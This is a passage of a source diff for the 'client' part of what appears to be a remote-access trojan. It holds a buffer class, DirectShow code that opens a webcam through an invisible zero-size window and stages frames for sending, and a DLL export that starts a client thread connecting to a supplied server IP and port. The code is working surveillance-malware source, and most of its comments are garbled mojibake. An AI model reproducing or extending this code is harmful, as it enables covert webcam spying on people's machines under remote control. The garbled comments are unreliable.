ULONG CBuffer::GetBufferLength() //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||||
|
{
|
||||||
|
if (m_Base == NULL)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
return (ULONG)m_Ptr - (ULONG)m_Base;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
ULONG CBuffer::GetBufferMaxLength()
|
||||||
|
{
|
||||||
|
return m_ulMaxLength;
|
||||||
|
}
|
||||||
|
|
||||||
|
PBYTE CBuffer::GetBuffer(ULONG ulPos)
|
||||||
|
{
|
||||||
|
if (m_Base==NULL)
|
||||||
|
{
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
if (ulPos>=GetBufferLength())
|
||||||
|
{
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
return m_Base+ulPos;
|
||||||
|
}
|
||||||
25
client/Buffer.h
Normal file
25
client/Buffer.h
Normal file
@@ -0,0 +1,25 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <Windows.h>
|
||||||
|
|
||||||
|
|
||||||
|
class CBuffer
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CBuffer(void);
|
||||||
|
~CBuffer(void);
|
||||||
|
|
||||||
|
ULONG CBuffer::GetBufferMaxLength();
|
||||||
|
ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength);
|
||||||
|
ULONG CBuffer::GetBufferLength(); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>;
|
||||||
|
ULONG CBuffer::DeAllocateBuffer(ULONG ulLength);
|
||||||
|
VOID CBuffer::ClearBuffer();
|
||||||
|
ULONG CBuffer::ReAllocateBuffer(ULONG ulLength);
|
||||||
|
BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength);
|
||||||
|
PBYTE CBuffer::GetBuffer(ULONG ulPos=0);
|
||||||
|
|
||||||
|
protected:
|
||||||
|
PBYTE m_Base;
|
||||||
|
PBYTE m_Ptr;
|
||||||
|
ULONG m_ulMaxLength;
|
||||||
|
CRITICAL_SECTION m_cs;
|
||||||
|
};
|
||||||
276
client/CaptureVideo.cpp
Normal file
276
client/CaptureVideo.cpp
Normal file
@@ -0,0 +1,276 @@
|
|||||||
|
// CaptureVideo.cpp: implementation of the CCaptureVideo class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "CaptureVideo.h"
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
// Construction/Destruction
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
CSampleGrabberCB mCB;
|
||||||
|
|
||||||
|
CCaptureVideo::CCaptureVideo()
|
||||||
|
{
|
||||||
|
if(FAILED(CoInitialize(NULL)))
|
||||||
|
{
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
m_pCapture = NULL;
|
||||||
|
m_pGB = NULL;
|
||||||
|
m_pMC = NULL;
|
||||||
|
m_pVW = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
CCaptureVideo::~CCaptureVideo()
|
||||||
|
{
|
||||||
|
if(m_pMC)m_pMC->StopWhenReady();
|
||||||
|
if(m_pVW){
|
||||||
|
m_pVW->put_Visible(OAFALSE);
|
||||||
|
m_pVW->put_Owner(NULL);
|
||||||
|
}
|
||||||
|
SAFE_RELEASE(m_pMC);
|
||||||
|
SAFE_RELEASE(m_pVW);
|
||||||
|
SAFE_RELEASE(m_pGB);
|
||||||
|
SAFE_RELEASE(m_pBF);
|
||||||
|
SAFE_RELEASE(m_pGrabber);
|
||||||
|
|
||||||
|
CoUninitialize() ;
|
||||||
|
}
|
||||||
|
|
||||||
|
//!!<21>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
||||||
|
{
|
||||||
|
HRESULT hResult;
|
||||||
|
|
||||||
|
hResult = InitCaptureGraphBuilder(); //
|
||||||
|
if (FAILED(hResult))
|
||||||
|
{
|
||||||
|
return hResult;
|
||||||
|
}
|
||||||
|
if(!BindVideoFilter(iDeviceID, &m_pBF)) //FDo
|
||||||
|
return S_FALSE;
|
||||||
|
|
||||||
|
hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter");
|
||||||
|
|
||||||
|
hResult = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER,
|
||||||
|
IID_ISampleGrabber, (void**)&m_pGrabber); //<2F><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
|
||||||
|
if(FAILED(hResult))
|
||||||
|
{
|
||||||
|
return hResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
//m_pGrabber <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1 <20><>ʽ 2 <20>ڴ滺<DAB4><E6BBBA><EFBFBD><EFBFBD>ʽ
|
||||||
|
CComQIPtr<IBaseFilter, &IID_IBaseFilter> pGrabBase(m_pGrabber);//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5>ʽ
|
||||||
|
AM_MEDIA_TYPE mt; //<2F><>Ƶ<EFBFBD><C6B5>ʽ
|
||||||
|
ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE));
|
||||||
|
mt.majortype = MEDIATYPE_Video;
|
||||||
|
mt.subtype = MEDIASUBTYPE_RGB24; // MEDIASUBTYPE_RGB24 ;
|
||||||
|
|
||||||
|
hResult = m_pGrabber->SetMediaType(&mt);
|
||||||
|
if( FAILED( hResult ))
|
||||||
|
{
|
||||||
|
return hResult;
|
||||||
|
}
|
||||||
|
hResult = m_pGB->AddFilter( pGrabBase,L"Grabber");
|
||||||
|
|
||||||
|
if( FAILED(hResult))
|
||||||
|
{
|
||||||
|
return hResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
hResult = m_pCapture->RenderStream(&PIN_CATEGORY_PREVIEW, //<2F><>̬
|
||||||
|
&MEDIATYPE_Video,m_pBF,pGrabBase,NULL);
|
||||||
|
if( FAILED(hResult))
|
||||||
|
{
|
||||||
|
hResult = m_pCapture->RenderStream(&PIN_CATEGORY_CAPTURE,&MEDIATYPE_Video,m_pBF,pGrabBase,NULL);
|
||||||
|
//<2F><>
|
||||||
|
}
|
||||||
|
if( FAILED(hResult))
|
||||||
|
{
|
||||||
|
return hResult;
|
||||||
|
}
|
||||||
|
hResult = m_pGrabber->GetConnectedMediaType(&mt);
|
||||||
|
|
||||||
|
if (FAILED( hResult) )
|
||||||
|
{
|
||||||
|
return hResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
//3 <20><><EFBFBD><D7BD><EFBFBD><EFBFBD> FDO һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݾͽ<DDBE><CDBD><EFBFBD> <20>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
VIDEOINFOHEADER * vih = (VIDEOINFOHEADER*) mt.pbFormat;
|
||||||
|
//mCB <20>Ǹ<EFBFBD><C7B8><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD> <20>и<EFBFBD><D0B8>ص<EFBFBD>
|
||||||
|
mCB.m_ulFullWidth = vih->bmiHeader.biWidth;
|
||||||
|
mCB.m_ulFullHeight = vih->bmiHeader.biHeight;
|
||||||
|
|
||||||
|
FreeMediaType(mt);
|
||||||
|
|
||||||
|
hResult = m_pGrabber->SetBufferSamples( FALSE ); //<2F>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
hResult = m_pGrabber->SetOneShot( FALSE );
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD> Ҳ<><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>ʱ<EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>BufferCB<43><42><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD>OnTimer
|
||||||
|
hResult = m_pGrabber->SetCallback(&mCB, 1);
|
||||||
|
|
||||||
|
m_hWnd = CreateWindow("#32770",
|
||||||
|
"", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
|
||||||
|
|
||||||
|
SetupVideoWindow(); //<2F><><EFBFBD>δ<EFBFBD><CEB4><EFBFBD>
|
||||||
|
|
||||||
|
hResult = m_pMC->Run(); //<2F><><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
if(FAILED(hResult))
|
||||||
|
{
|
||||||
|
return hResult;
|
||||||
|
}
|
||||||
|
return S_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
HRESULT CCaptureVideo::InitCaptureGraphBuilder()
|
||||||
|
{
|
||||||
|
HRESULT hResult;
|
||||||
|
|
||||||
|
hResult = CoCreateInstance(CLSID_CaptureGraphBuilder2 , NULL, CLSCTX_INPROC,
|
||||||
|
IID_ICaptureGraphBuilder2, (void**)&m_pCapture); //<2F><>ʵ<EFBFBD>豸
|
||||||
|
|
||||||
|
if (FAILED(hResult))
|
||||||
|
{
|
||||||
|
return hResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
hResult=CoCreateInstance(CLSID_FilterGraph, NULL, CLSCTX_INPROC_SERVER,
|
||||||
|
IID_IGraphBuilder, (void**)&m_pGB); //<2F><><EFBFBD><EFBFBD><EFBFBD>豸
|
||||||
|
|
||||||
|
if (FAILED(hResult))
|
||||||
|
{
|
||||||
|
return hResult;
|
||||||
|
}
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>˰<CBB0><F3B6A8B5><EFBFBD>ʵ<EFBFBD>豸<EFBFBD><E8B1B8><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
m_pCapture->SetFiltergraph(m_pGB);
|
||||||
|
hResult = m_pGB->QueryInterface(IID_IMediaControl,(LPVOID*)&m_pMC);
|
||||||
|
if (FAILED(hResult))
|
||||||
|
{
|
||||||
|
return hResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
//???
|
||||||
|
hResult = m_pGB->QueryInterface(IID_IVideoWindow,(LPVOID*) &m_pVW);
|
||||||
|
if (FAILED(hResult))
|
||||||
|
{
|
||||||
|
return hResult;
|
||||||
|
}
|
||||||
|
return hResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
LPBITMAPINFO CCaptureVideo::GetBmpInfor()
|
||||||
|
{
|
||||||
|
return mCB.GetBmpInfor(); //<2F><><EFBFBD><EFBFBD>λͼ<CEBB>ڴ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL CCaptureVideo::BindVideoFilter(int deviceId, IBaseFilter **pFilter)
|
||||||
|
{
|
||||||
|
if (deviceId < 0)
|
||||||
|
return FALSE;// enumerate all video capture devices
|
||||||
|
CComPtr<ICreateDevEnum> pCreateDevEnum;
|
||||||
|
HRESULT hr = CoCreateInstance(CLSID_SystemDeviceEnum, NULL, CLSCTX_INPROC_SERVER,
|
||||||
|
IID_ICreateDevEnum, (void**)&pCreateDevEnum);
|
||||||
|
if (hr != NOERROR)
|
||||||
|
{
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
CComPtr<IEnumMoniker> pEm;
|
||||||
|
hr = pCreateDevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory,&pEm, 0);
|
||||||
|
if (hr != NOERROR)
|
||||||
|
{
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
pEm->Reset();
|
||||||
|
ULONG cFetched;
|
||||||
|
IMoniker *pM;
|
||||||
|
int index = 0;
|
||||||
|
while(hr = pEm->Next(1, &pM, &cFetched), hr==S_OK, index <= deviceId)
|
||||||
|
{
|
||||||
|
IPropertyBag *pBag;
|
||||||
|
//ͨ<><CDA8>BindToStorage <20><><EFBFBD>Է<EFBFBD><D4B7>ʸ<EFBFBD><CAB8>豸<EFBFBD>ı<EFBFBD>ʶ<EFBFBD><CAB6>
|
||||||
|
hr = pM->BindToStorage(0, 0, IID_IPropertyBag, (void **)&pBag);
|
||||||
|
if(SUCCEEDED(hr))
|
||||||
|
{
|
||||||
|
VARIANT var;
|
||||||
|
var.vt = VT_BSTR;
|
||||||
|
hr = pBag->Read(L"FriendlyName", &var, NULL);
|
||||||
|
if (hr == NOERROR)
|
||||||
|
{
|
||||||
|
if (index == deviceId)
|
||||||
|
{
|
||||||
|
pM->BindToObject(0, 0, IID_IBaseFilter, (void**)pFilter);
|
||||||
|
}
|
||||||
|
SysFreeString(var.bstrVal);
|
||||||
|
}
|
||||||
|
pBag->Release(); //<2F><><EFBFBD>ü<EFBFBD><C3BC><EFBFBD>--
|
||||||
|
}
|
||||||
|
pM->Release();
|
||||||
|
index++;
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CCaptureVideo::FreeMediaType(AM_MEDIA_TYPE& mt)
|
||||||
|
{
|
||||||
|
if (mt.cbFormat != 0) {
|
||||||
|
CoTaskMemFree((PVOID)mt.pbFormat);
|
||||||
|
mt.cbFormat = 0;
|
||||||
|
mt.pbFormat = NULL;
|
||||||
|
}
|
||||||
|
if (mt.pUnk != NULL) {
|
||||||
|
mt.pUnk->Release();
|
||||||
|
mt.pUnk = NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
HRESULT CCaptureVideo::SetupVideoWindow()
|
||||||
|
{
|
||||||
|
HRESULT hr;
|
||||||
|
hr = m_pVW->put_Owner((OAHWND)m_hWnd);
|
||||||
|
if (FAILED(hr))return hr;
|
||||||
|
hr = m_pVW->put_WindowStyle(WS_CHILD | WS_CLIPCHILDREN);
|
||||||
|
if (FAILED(hr))return hr;
|
||||||
|
ResizeVideoWindow();
|
||||||
|
hr = m_pVW->put_Visible(OATRUE);
|
||||||
|
return hr;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CCaptureVideo::ResizeVideoWindow()
|
||||||
|
{
|
||||||
|
if (m_pVW){
|
||||||
|
RECT rc;
|
||||||
|
::GetClientRect(m_hWnd,&rc);
|
||||||
|
m_pVW->SetWindowPosition(0, 0, rc.right, rc.bottom); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>0 0 0 0 <20><>
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CCaptureVideo::SendEnd() //<2F><><EFBFBD>ͽ<EFBFBD><CDBD><EFBFBD> <20><><EFBFBD>ÿ<EFBFBD><C3BF><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
|
||||||
|
{
|
||||||
|
InterlockedExchange((LPLONG)&mCB.bStact,CMD_CAN_COPY); //ԭ<><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> //ԭ<><D4AD><EFBFBD>Լ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>copy
|
||||||
|
}
|
||||||
|
|
||||||
|
LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize)
|
||||||
|
{
|
||||||
|
BYTE *szBuffer = NULL;
|
||||||
|
do
|
||||||
|
{
|
||||||
|
if (mCB.bStact==CMD_CAN_SEND) //<2F><><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>һ<EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>״̬
|
||||||
|
{
|
||||||
|
szBuffer = mCB.GetNextScreen(dwSize); //ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD>Ǽ<EFBFBD><C7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
}
|
||||||
|
} while (szBuffer==NULL);
|
||||||
|
|
||||||
|
|
||||||
|
return szBuffer;
|
||||||
|
}
|
||||||
186
client/CaptureVideo.h
Normal file
186
client/CaptureVideo.h
Normal file
@@ -0,0 +1,186 @@
|
|||||||
|
// CaptureVideo.h: interface for the CCaptureVideo class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#if !defined(AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_)
|
||||||
|
#define AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_
|
||||||
|
|
||||||
|
#if _MSC_VER > 1000
|
||||||
|
#pragma once
|
||||||
|
#endif // _MSC_VER > 1000
|
||||||
|
#include <Objbase.h>
|
||||||
|
#include <uuids.h>
|
||||||
|
#include <strmif.h>
|
||||||
|
#include <CONTROL.H>
|
||||||
|
#include <ATLBASE.H>
|
||||||
|
#include <qedit.h>
|
||||||
|
#include <amvideo.h>
|
||||||
|
#include <DShow.h>
|
||||||
|
|
||||||
|
#pragma comment(lib,"Strmiids.lib")
|
||||||
|
|
||||||
|
enum{
|
||||||
|
CMD_CAN_COPY,
|
||||||
|
CMD_CAN_SEND
|
||||||
|
};
|
||||||
|
|
||||||
|
#ifndef SAFE_RELEASE
|
||||||
|
#define SAFE_RELEASE( x ) if ( NULL != x ){ x->Release(); x = NULL; }
|
||||||
|
#endif
|
||||||
|
|
||||||
|
class CSampleGrabberCB : public ISampleGrabberCB
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
ULONG m_ulFullWidth;
|
||||||
|
ULONG m_ulFullHeight;
|
||||||
|
LPBITMAPINFO m_BitmapInfor_Full;
|
||||||
|
BYTE* m_BitmapData_Full;
|
||||||
|
BOOL bStact;
|
||||||
|
DWORD m_dwSize;
|
||||||
|
|
||||||
|
CSampleGrabberCB()
|
||||||
|
{
|
||||||
|
m_ulFullWidth = 0 ;
|
||||||
|
m_ulFullHeight = 0 ;
|
||||||
|
m_BitmapInfor_Full = NULL;
|
||||||
|
m_BitmapData_Full = NULL;
|
||||||
|
|
||||||
|
m_dwSize = 0;
|
||||||
|
bStact = CMD_CAN_COPY;
|
||||||
|
}
|
||||||
|
|
||||||
|
~CSampleGrabberCB()
|
||||||
|
{
|
||||||
|
if (m_BitmapInfor_Full!=NULL)
|
||||||
|
{
|
||||||
|
delete[] m_BitmapInfor_Full;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (m_BitmapData_Full!=NULL)
|
||||||
|
{
|
||||||
|
delete[] m_BitmapData_Full;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_ulFullWidth = 0 ;
|
||||||
|
m_ulFullHeight = 0 ;
|
||||||
|
}
|
||||||
|
|
||||||
|
LPBITMAPINFO GetBmpInfor() //
|
||||||
|
{
|
||||||
|
if (m_BitmapInfor_Full==NULL) //ͷ<><CDB7>Ϣ
|
||||||
|
{
|
||||||
|
ConstructBI(24);
|
||||||
|
}
|
||||||
|
|
||||||
|
return m_BitmapInfor_Full;
|
||||||
|
}
|
||||||
|
|
||||||
|
LPBITMAPINFO ConstructBI(ULONG ulbiBitCount)
|
||||||
|
{
|
||||||
|
int ColorNum = ulbiBitCount <= 8 ? 1 << ulbiBitCount : 0;
|
||||||
|
ULONG ulBitmapLength = sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD)); //BITMAPINFOHEADER +<2B><><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD>
|
||||||
|
|
||||||
|
m_BitmapInfor_Full = (BITMAPINFO *) new BYTE[ulBitmapLength];
|
||||||
|
|
||||||
|
BITMAPINFOHEADER* BitmapInforHeader = &(m_BitmapInfor_Full->bmiHeader);
|
||||||
|
|
||||||
|
BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER);//pi si
|
||||||
|
BitmapInforHeader->biWidth = m_ulFullWidth;
|
||||||
|
BitmapInforHeader->biHeight = m_ulFullHeight;
|
||||||
|
BitmapInforHeader->biPlanes = 1;
|
||||||
|
BitmapInforHeader->biBitCount = ulbiBitCount;
|
||||||
|
BitmapInforHeader->biCompression = BI_RGB;
|
||||||
|
BitmapInforHeader->biXPelsPerMeter = 0;
|
||||||
|
BitmapInforHeader->biYPelsPerMeter = 0;
|
||||||
|
BitmapInforHeader->biClrUsed = 0;
|
||||||
|
BitmapInforHeader->biClrImportant = 0;
|
||||||
|
|
||||||
|
BitmapInforHeader->biSizeImage = //ͼ<><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
(((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31) & ~31) >> 3)
|
||||||
|
* BitmapInforHeader->biHeight;
|
||||||
|
// 16λ<36><CEBB><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD><EFBFBD>ֱ<EFBFBD>ӷ<EFBFBD><D3B7><EFBFBD>
|
||||||
|
|
||||||
|
//!!
|
||||||
|
m_dwSize=BitmapInforHeader->biSizeImage; //<2F><><EFBFBD>ݴ<EFBFBD>С
|
||||||
|
m_BitmapData_Full=new BYTE[m_dwSize+10];
|
||||||
|
ZeroMemory(m_BitmapData_Full,m_dwSize+10);
|
||||||
|
|
||||||
|
return m_BitmapInfor_Full;
|
||||||
|
}
|
||||||
|
|
||||||
|
STDMETHODIMP_(ULONG) AddRef() { return 2;}
|
||||||
|
STDMETHODIMP_(ULONG) Release() { return 1;}
|
||||||
|
|
||||||
|
STDMETHODIMP QueryInterface(REFIID riid, void ** lParam)
|
||||||
|
{
|
||||||
|
//???
|
||||||
|
if( riid == IID_ISampleGrabberCB || riid == IID_IUnknown ){
|
||||||
|
*lParam = (void *) static_cast<ISampleGrabberCB*> ( this );
|
||||||
|
return NOERROR;
|
||||||
|
}
|
||||||
|
|
||||||
|
return E_NOINTERFACE;
|
||||||
|
}
|
||||||
|
|
||||||
|
BYTE* GetNextScreen(DWORD &dwSize)
|
||||||
|
{
|
||||||
|
dwSize=m_dwSize;
|
||||||
|
return (BYTE*)m_BitmapData_Full;
|
||||||
|
}
|
||||||
|
|
||||||
|
STDMETHODIMP SampleCB( double dbSampleTime, IMediaSample * Sample)
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
//<2F>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD> bmp <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
STDMETHODIMP BufferCB(double dblSampleTime, BYTE * szBuffer, long ulBufferSize)
|
||||||
|
{
|
||||||
|
if (!szBuffer)
|
||||||
|
{
|
||||||
|
return E_POINTER;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (bStact==CMD_CAN_COPY) //δ<><CEB4>ʼ<EFBFBD><CABC> <20><><EFBFBD>͵<EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
|
||||||
|
{
|
||||||
|
//<2F><>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5>ڴ<EFBFBD>
|
||||||
|
memcpy(m_BitmapData_Full,szBuffer,ulBufferSize); //λͼ
|
||||||
|
|
||||||
|
InterlockedExchange((LPLONG)&bStact,CMD_CAN_SEND); //ԭ<><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD>
|
||||||
|
return S_OK;
|
||||||
|
}
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
|
class CCaptureVideo
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CCaptureVideo();
|
||||||
|
virtual ~CCaptureVideo();
|
||||||
|
LPBITMAPINFO CCaptureVideo::GetBmpInfor();
|
||||||
|
HRESULT CCaptureVideo::InitCaptureGraphBuilder();
|
||||||
|
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress);
|
||||||
|
BOOL CCaptureVideo::BindVideoFilter(int deviceId, IBaseFilter **pFilter);
|
||||||
|
|
||||||
|
LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize);
|
||||||
|
|
||||||
|
HWND m_hWnd;
|
||||||
|
|
||||||
|
IGraphBuilder * m_pGB; //ͨ<><CDA8><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> FCDO Filter Control Device Object
|
||||||
|
ICaptureGraphBuilder2* m_pCapture; //ͨ<><CDA8><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> <20><>ʵCDO
|
||||||
|
|
||||||
|
IMediaControl* m_pMC; //<2F><><EFBFBD><EFBFBD><EFBFBD>豸<EFBFBD>Ľӿ<C4BD>
|
||||||
|
IVideoWindow* m_pVW;
|
||||||
|
|
||||||
|
IBaseFilter* m_pBF; //FDO
|
||||||
|
ISampleGrabber* m_pGrabber; //<2F><><EFBFBD><EFBFBD> 24Color
|
||||||
|
|
||||||
|
void CCaptureVideo::FreeMediaType(AM_MEDIA_TYPE& mt);
|
||||||
|
void CCaptureVideo::ResizeVideoWindow();
|
||||||
|
HRESULT CCaptureVideo::SetupVideoWindow();
|
||||||
|
void CCaptureVideo::SendEnd();
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // !defined(AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_)
|
||||||
93
client/ClientDll.cpp
Normal file
93
client/ClientDll.cpp
Normal file
@@ -0,0 +1,93 @@
|
|||||||
|
// ClientDll.cpp : Defines the entry point for the DLL application.
|
||||||
|
//
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "Common.h"
|
||||||
|
#include "IOCPClient.h"
|
||||||
|
#include <IOSTREAM>
|
||||||
|
#include "LoginServer.h"
|
||||||
|
#include "KernelManager.h"
|
||||||
|
using namespace std;
|
||||||
|
|
||||||
|
char g_szServerIP[MAX_PATH] = {0};
|
||||||
|
unsigned short g_uPort = 0;
|
||||||
|
bool g_bExit = false;
|
||||||
|
bool g_bThreadExit = false;
|
||||||
|
HINSTANCE g_hInstance = NULL;
|
||||||
|
DWORD WINAPI StartClient(LPVOID lParam);
|
||||||
|
|
||||||
|
BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
||||||
|
DWORD ul_reason_for_call,
|
||||||
|
LPVOID lpReserved
|
||||||
|
)
|
||||||
|
{
|
||||||
|
switch (ul_reason_for_call)
|
||||||
|
{
|
||||||
|
case DLL_PROCESS_ATTACH:
|
||||||
|
case DLL_THREAD_ATTACH:
|
||||||
|
{
|
||||||
|
g_hInstance = (HINSTANCE)hInstance;
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case DLL_PROCESS_DETACH:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
||||||
|
{
|
||||||
|
memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
|
||||||
|
g_uPort = uPort;
|
||||||
|
|
||||||
|
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
|
||||||
|
#ifdef _DEBUG
|
||||||
|
WaitForSingleObject(hThread, 200);
|
||||||
|
#else
|
||||||
|
WaitForSingleObject(hThread, INFINITE);
|
||||||
|
#endif
|
||||||
|
CloseHandle(hThread);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD>
|
||||||
|
extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; }
|
||||||
|
|
||||||
|
|
||||||
|
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
|
||||||
|
